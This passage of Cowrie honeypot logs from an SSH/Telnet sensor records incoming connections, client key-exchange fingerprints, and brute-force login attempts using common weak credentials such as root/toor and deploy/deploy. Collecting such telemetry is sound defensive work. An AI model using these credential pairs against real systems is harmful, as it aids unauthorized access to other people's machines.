istp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:45.070045Z","src_ip":"193.151.144.93","session":"3f92d62ecba2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootroot","message":"login attempt [root/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:45.587423Z","src_ip":"193.151.144.93","session":"3f92d62ecba2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:46.763309Z","src_ip":"193.151.144.93","session":"3f92d62ecba2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":47620,"dst_ip":"10.17.0.5","dst_port":22,"session":"c260f70b0e1d","protocol":"ssh","message":"New connection: 37.233.85.71:47620 (10.17.0.5:22) [session: c260f70b0e1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:49.079021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:49.083768Z","src_ip":"37.233.85.71","session":"c260f70b0e1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:49.204518Z","src_ip":"37.233.85.71","session":"c260f70b0e1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"denis1997","message":"login attempt [root/denis1997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:49.518442Z","src_ip":"37.233.85.71","session":"c260f70b0e1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":33670,"dst_ip":"10.17.0.5","dst_port":22,"session":"efbf94f6c696","protocol":"ssh","message":"New connection: 193.151.144.93:33670 (10.17.0.5:22) [session: efbf94f6c696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:50.153153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:50.157854Z","src_ip":"193.151.144.93","session":"efbf94f6c696","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:50.325287Z","src_ip":"193.151.144.93","session":"efbf94f6c696","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:50.624650Z","src_ip":"37.233.85.71","session":"c260f70b0e1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor","message":"login attempt [root/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:50.826061Z","src_ip":"193.151.144.93","session":"efbf94f6c696","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:52.887734Z","src_ip":"193.151.144.93","session":"efbf94f6c696","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":48294,"dst_ip":"10.17.0.5","dst_port":22,"session":"b454ef4681c5","protocol":"ssh","message":"New connection: 193.151.144.93:48294 (10.17.0.5:22) [session: b454ef4681c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:55.701763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:55.707766Z","src_ip":"193.151.144.93","session":"b454ef4681c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:55.884450Z","src_ip":"193.151.144.93","session":"b454ef4681c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.168580055236816,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:56.584535Z","src_ip":"69.4.83.194","session":"5ff903463bd9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.242.203.160","src_port":36396,"dst_ip":"159.203.135.109","dst_port":22,"session":"e18f08cfef96","protocol":"ssh","message":"New connection: 43.242.203.160:36396 (159.203.135.109:22) [session: e18f08cfef96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:56.919965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:56.925456Z","src_ip":"43.242.203.160","session":"e18f08cfef96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:57.160896Z","src_ip":"43.242.203.160","session":"e18f08cfef96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest","message":"login attempt [guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:57.372924Z","src_ip":"193.151.144.93","session":"b454ef4681c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zy","password":"123456","message":"login attempt [zy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:58.111712Z","src_ip":"43.242.203.160","session":"e18f08cfef96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:58.545994Z","src_ip":"193.151.144.93","session":"b454ef4681c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:59.375166Z","src_ip":"43.242.203.160","session":"e18f08cfef96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":40650,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a741ffc2234","protocol":"ssh","message":"New connection: 193.151.144.93:40650 (10.17.0.5:22) [session: 7a741ffc2234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:01.246254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:01.251482Z","src_ip":"193.151.144.93","session":"7a741ffc2234","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:01.469523Z","src_ip":"193.151.144.93","session":"7a741ffc2234","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123","message":"login attempt [user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:02.004849Z","src_ip":"193.151.144.93","session":"7a741ffc2234","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:03.186289Z","src_ip":"193.151.144.93","session":"7a741ffc2234","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":40668,"dst_ip":"10.17.0.5","dst_port":22,"session":"884d25764b58","protocol":"ssh","message":"New connection: 193.151.144.93:40668 (10.17.0.5:22) [session: 884d25764b58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:06.740633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:06.746106Z","src_ip":"193.151.144.93","session":"884d25764b58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:06.919874Z","src_ip":"193.151.144.93","session":"884d25764b58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy","message":"login attempt [deploy/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:07.439847Z","src_ip":"193.151.144.93","session":"884d25764b58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:08.616092Z","src_ip":"193.151.144.93","session":"884d25764b58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":50348,"dst_ip":"10.17.0.5","dst_port":22,"session":"9eb8b8bb5f59","protocol":"ssh","message":"New connection: 193.151.144.93:50348 (10.17.0.5:22) [session: 9eb8b8bb5f59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:12.362614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:12.367723Z","src_ip":"193.151.144.93","session":"9eb8b8bb5f59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:12.536316Z","src_ip":"193.151.144.93","session":"9eb8b8bb5f59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:13.045168Z","src_ip":"193.151.144.93","session":"9eb8b8bb5f59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":42706,"dst_ip":"159.203.135.109","dst_port":23,"session":"ead1daae9646","protocol":"telnet","message":"New connection: 69.4.83.194:42706 (159.203.135.109:23) [session: ead1daae9646]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:14.172255Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:14.213572Z","src_ip":"193.151.144.93","session":"9eb8b8bb5f59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":50362,"dst_ip":"10.17.0.5","dst_port":22,"session":"8cc0e84bcd25","protocol":"ssh","message":"New connection: 193.151.144.93:50362 (10.17.0.5:22) [session: 8cc0e84bcd25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:17.858975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:17.868330Z","src_ip":"193.151.144.93","session":"8cc0e84bcd25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:18.036371Z","src_ip":"193.151.144.93","session":"8cc0e84bcd25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456","message":"login attempt [deploy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:18.551725Z","src_ip":"193.151.144.93","session":"8cc0e84bcd25","protocol":"ssh"}
